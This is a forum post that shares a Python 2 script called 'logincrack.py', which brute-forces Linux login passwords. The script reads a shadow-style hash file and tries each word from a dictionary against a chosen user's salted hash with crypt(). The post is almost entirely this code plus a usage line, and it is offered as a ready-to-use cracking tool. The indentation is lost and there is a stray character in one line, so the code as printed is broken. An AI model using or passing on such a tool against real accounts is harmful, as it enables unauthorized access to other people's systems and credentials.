Linux Login crack 05-10-2015, 08:58 PM
#1
LoginCrack to bruteforce Linux Login password, it will try to Bruteforce Hash and crack it.
Usage:
If you like it leave me some feedback thanks guys.
Code:
#!/usr/bin/python
import sys
import crypt
import os
import threading
import argparse
flag=0
#console color
W = '\033[0m' # white (normal)
R = '\033[31m' # red
G = '\033[32m' # green
O = '\033[33m' # orange
B = '\033[34m' # blue
P = '\033[35m' # purple
if os.getuid() != 0:
print R+' [!]'+O+' ERROR:'+G+' logincrack.py'+O+' must be run as '+R+'root'+W
print R+' [!]'+O+' login as root ('+W+'su root'+O+') or try '+W+'sudo ./logincrack.py'+W
exit(1)
def searching(y,salt,hash):
if crypt.crypt(y,salt)==hash:
print O + "\n[+] " + B + y + "\n" + W
class crack:
""" This will extract all the user and the hash from the givne input
file """
def __init__(self,file,w):
self.file=file
self.user_hash={}
self.f=open(file,'r')
self.dict=open(w,'r')
def user(self,u):
self.u=u
for x in self.f:
y=x.split(":")
if y[0]==u:
self.user_hash[u]=y[1]
def cracking(self):
if self.user_hash:
print "user " + R + self.u + W + " found"
print P + "Now Cracking " + R + self.u + P +" , be relax" + W
print "\nNumber of password tried: "
for x in self.user_hash.keys():
hash=self.user_hash[x].split("$")[1:]
count=1
for y in self.dict:
salt="$"+hash[0]+"$"+hash[1]+"$"
t=threading.Thread(target=searching,args=(y.strip('\n'),salt,self.user_hash​[x]))
t.start()
sys.stdout.write("\r" + R + str(count)+W)
count=count+1
else:
print R + '[!]'+ O+ " user specified " + B + self.u +R +" not found in file " + P + self.file
exit
def option():
parser=argparse.ArgumentParser(description="Login hashcracker")
parser.add_argument('-u',metavar='user_name',help='username for which the hash will be cracked')
parser.add_argument('-d',metavar='dictionary_file',help='file for dictionary attack')
parser.add_argument('hash_file',metavar='hash_file',help='the file that contains username and the hash')
args=parser.parse_args()
c=crack(args.hash_file,args.d)
c.user(args.u)
c.cracking()
if __name__ == '__main__':
option()Usage:
Code:
logincrack.py [-h] [-u user_name] [-d dictionary_file] hash_fileIf you like it leave me some feedback thanks guys.
![[+]](https://sinister.ly/images/modern/collapse_collapsed.png)








